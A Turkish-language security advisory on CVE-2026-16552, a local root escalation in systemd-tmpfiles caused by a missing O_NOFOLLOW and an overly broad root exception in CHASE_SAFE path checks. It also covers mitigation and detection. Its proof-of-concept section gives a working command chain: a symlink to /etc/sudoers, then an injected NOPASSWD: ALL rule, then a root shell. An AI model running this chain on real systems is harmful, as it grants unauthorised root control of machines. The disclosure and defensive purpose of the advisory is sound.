systemd-tmpfiles Symlink Takibi + CHASE_SAFE Root İstisnası: Root'a Yerel Ayrıcalık Yükseltme
Yayımlandı: 2026-07-22
Özet
Eresus Security, systemd-tmpfiles'ta yerel ayrıcalık yükseltme zinciri tespit edip bildirdi: CVE-2026-16552 (CVSS 3.1: 6.3 Moderate, AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H, CWE-59: Improper Link Resolution Before File Access). İki bağımsız hata birleşerek, ayrıcalıksız yerel bir kullanıcının kendi /run/user/<uid> runtime dizinine bir symlink yerleştirmesiyle, root sahipli bir dosya yazımını istediği bir dosyaya yönlendirmesine izin veriyor.
Gösterilen etki tam yerel root ele geçirme: /etc/sudoers'a şifresiz bir NOPASSWD kuralı enjekte edip root shell almak — var olan ayrıcalıksız yerel oturum dışında hiçbir kimlik bilgisi gerekmiyor.
Red Hat Product Security mekanizmayı doğruladı, CVE-2026-16552'yi atadı ve Eresus Security'yi bildiren taraf olarak kredilendirdi. Vaka artık kapalı ve CVE NVD ile Red Hat CVE veritabanında kamuya açık.
Etkilenen bileşen
- Bileşen:
systemd-tmpfiles - Kök neden, aşağıda açıklanan
CHASE_SAFEroot-geçiş istisnasını taşıyan tüm sürümlerde koşulsuz olarak mevcut. - RHEL 7 ve RHEL 8 systemd sürümleri de kontrol edildi ve aynı sonucu veriyor — ama aynı dar istisnayı içerdikleri için değil,
CHASE_SAFEgeçiş-güvenliği mekanizmasını tamamen içermedikleri için. - Ubuntu 26.04 (systemd 259) ve Arch Linux'ta (systemd 261,
mainüzerindeb0241a3commit'i) çalışan proof-of-concept ile doğrulandı.
Kök neden
İki hata birlikte zincirleniyor.
Hata 1 — eksik O_NOFOLLOW, src/tmpfiles/tmpfiles.c:2007. write_one_file(), w tipi tmpfiles.d hedeflerini O_NOFOLLOW olmadan açıyor:
int flags = O_NONBLOCK | O_CLOEXEC | O_WRONLY | O_NOCTTY
| i->append_or_force * O_APPEND | arg_dry_run * O_PATH;
fd = openat(dir_fd, bn, flags, i->mode);
Çağrının hemen üstündeki yorum satırı "Follow symlinks" (symlink'leri takip et) diyor. dir_fd saldırgan kontrolündeki bir alanı gösteriyorsa ve bn bir symlink'e çözümleniyorsa, root sahipli süreç symlink üzerinden hedefine açılır ve yazar — hedef her neredeyse.
Hata 2 — CHASE_SAFE root istisnası, src/basic/chase.c:161. uid_unsafe_transition(), daha ayrıcalıklı bir sahipten daha az ayrıcalıklı birine geçen dizin yürüyüşlerini işaretlemesi gerekiyor — CHASE_SAFE'in var olma amacı tam olarak bu. Ama UID 0'dan uzaklaşan her geçişi koşulsuz olarak güvenli sayıyor:
static bool uid_unsafe_transition(uid_t a, uid_t b) {
if (a == 0) /* root->anything treated as safe */
return false;
return a != b;
}
Bu istisna, root'un root sahipli sistem dizinlerinde false positive üretmeden gezinebilmesi için var. Ama fazla geniş: CHASE_SAFE'in yakalaması gereken tam da o geçişi — root'un ayrıcalıksız bir kullanıcıya ait dizine girmesini — de bastırıyor. İzole test bu asimetriyi doğrudan doğruladı: aynı sahiplik geçişi iki root-olmayan kullanıcı arasında kurulduğunda doğru şekilde tespit edilip açık bir uyarı ile engelleniyor; aynı geçiş root'tan başladığında engellenmiyor.
Birleşik etki. path_open_parent_safe() (tmpfiles.c:1087), write_one_file() çalışmadan önce üst dizin için bir dir_fd çözmek üzere chase()'i CHASE_SAFE ile çağırır. Hata 2, root sahipli /run/user/'dan kullanıcı sahipli /run/user/<uid>/'a yürüyüşü sessizce onaylar. Hata 1 ise ayrıcalıksız kullanıcının o dizine yerleştirdiği herhangi bir symlink'i itirazsız takip eder.
Ayrıcalıksız kullanıcının kontrol ettiği ve etmediği şeyler
Ayrıcalıksız kullanıcı, symlink'i yerleştirerek hangi root sahipli dosyanın yazılacağını seçer. Neyin yazılacağını seçmez — içerik, ayrıca tmpfiles.d yapılandırmasına yazma erişimleri olmadıkça, önceden var olan tmpfiles.d yapılandırma girdisinden gelir. Red Hat'in RHEL'de gönderilen her tmpfiles.d girdisini incelemesi, /sys/fs/selinux/ altında bir yolu hedefleyen tam olarak bir tane w tipi girdi buldu — çekirdek tarafından kontrol edilen, her yol bileşeni root sahipli ve root-olmayan yazma erişimi olmayan bir dosya sistemi; yani stok RHEL'de bu tek başına bir istismar yolu sağlamıyor. Maruziyet, belirli bir sistemde hangi w tipi girdilerin bulunduğuna bağlı: kullanıcı bazlı runtime yolları sağlayan yapılandırma yönetimi araçları (Ansible, Puppet) kullanan kurumsal dağıtımlar veya kullanıcıların /run/tmpfiles.d/'ye yazma erişimi olduğu sistemler gerçekçi maruziyet senaryoları.
Proof of concept
# 1. user runtime dizinine symlink yerleştir (tamamen ayrıcalıksız)
ln -s /etc/sudoers /run/user/1000/pwntarget
# 2. tmpfiles yapılandırması yaz
# w+ = O_APPEND, mevcut sudoers içeriğini korur
# \n, tmpfiles.c:3693'teki cunescape() tarafından unescape edilir
printf 'w+ /run/user/1000/pwntarget - - - - \\nattacker ALL=(ALL:ALL) NOPASSWD: ALL\\n\n' \
> /tmp/pwn.conf
# 3. root tmpfiles'ı çalıştırır (boot servisi, timer veya admin tetiklemesi)
systemd-tmpfiles --create /tmp/pwn.conf
# 4. root shell
sudo /bin/bash
# uid=0(root)
/run/user/<uid>, herhangi bir aktif oturum için logind tarafından otomatik olarak oluşturulur, ya da loginctl enable-linger ile oluşturulabilir; yani ön koşul sıradan oturum etkinliğiyle zaten sağlanmış olur — içine giren bir yolu hedefleyen bir tmpfiles.d girdisi dışında özel bir kurulum gerekmez.
Etki
Etkilenen bir sistemde, tmpfiles.d yapılandırması kullanıcının kendi runtime dizini içindeki bir yolu işlediği her durumda, ayrıcalıksız herhangi bir yerel kullanıcı root sahipli bir dosyaya keyfi içerik yazabilir. Gösterilen etki, /etc/sudoers enjeksiyonu yoluyla, kimlik bilgisi gerektirmeden tam yerel root ayrıcalık yükseltmesidir. Altta yatan kod hatası, etkilenen sürümlerde dağıtılan tmpfiles.d yapılandırmasından bağımsız olarak koşulsuz mevcuttur — belirli bir host'ta gerçek istismar edilebilirlik, o host'un yapılandırmasında erişilebilir bir w tipi girdi olup olmadığına bağlıdır; bu paket sürümü değil, filo bazlı bir sorudur.
Azaltım önerileri
- Dağıtımınız için CVE-2026-16552 yaması yayımlandığında uygulayın; yamalanan tam paket sürümü için kendi dağıtımınızın danışma belgesini takip edin.
- Filonuzdaki her
wtipitmpfiles.dgirdisini denetleyin (grep -rE '^w' /usr/lib/tmpfiles.d/ /etc/tmpfiles.d/ /run/tmpfiles.d/ 2>/dev/null) ve hiçbirinin, kullanıcı tarafından yazılabilir bir dizinden — dolaylı olarak bir kullanıcının runtime yolunun symlink ile ulaşabileceği bir dizin dahil — geçen bir yolu hedeflemediğini doğrulayın. /run/tmpfiles.d/'ye yazma erişimini yalnızca güvenilir/yönetimsel taraflarla sınırlayın — kullanıcı bazlı runtime yolları oraya sağlayan yapılandırma yönetimi araçları doğrudan bir maruziyet vektörüdür.- Mümkün olduğunda, bu spesifik hatadan bağımsız olarak, hassas hedeflere (
/etc/sudoers, kimlik bilgisi depoları, kimlik doğrulama yapılandırması) yazanwtipi girdilerden politika gereği kaçının. - Sizin bakımını yaptığınız herhangi bir özel yol-yürüme veya ayrıcalık-geçiş mantığında "root'tan herhangi bir yere geçiş güvenlidir" varsayımını geçerli kabul etmeyin — bu hata sınıfı
systemd-tmpfiles'ın ötesine, root'tan ayrıcalıksıza sahiplik sınırını her adımda güvenliği yeniden kontrol etmeden geçen herhangi bir koda genellenir.
Tespit önerileri
/run/user/<uid>/içinde kullanıcının kendi yazılabilir alanı dışına, özellikle/etc/'ye, kimlik bilgisi depolarına veya kimlik doğrulama yapılandırmasına işaret eden beklenmedik symlink'leri izleyin.systemd-tmpfilesçalıştırmalarını (boot, timer veya manuel tetikleme) hemen ardından gelen/etc/sudoers,/etc/passwd,/etc/shadowveya SSH authorized-keys dosyası değişiklikleriyle, değiştiren sürecin bağlamı beklenen yapılandırma yönetimi etkinliğiyle eşleşmediğinde uyarıya bağlayın.tmpfiles.ddrop-in dizinlerini, değişiklik yönetimi dışında eklenenwtipi girdiler için gözden geçirin —/run/tmpfiles.d/'ye zaten yazma erişimi olan bir saldırgan, var olan bir girdiye güvenmek yerine doğrudan kötü niyetli bir girdi ekleyebilir.
Kredi
İbrahim Sağlam, Eresus Security tarafından keşfedildi ve bildirildi. Red Hat Product Security tarafından doğrulandı ve atandı (vaka PSIRTSUPT-17699).
Kaynaklar
İlgili Hizmetler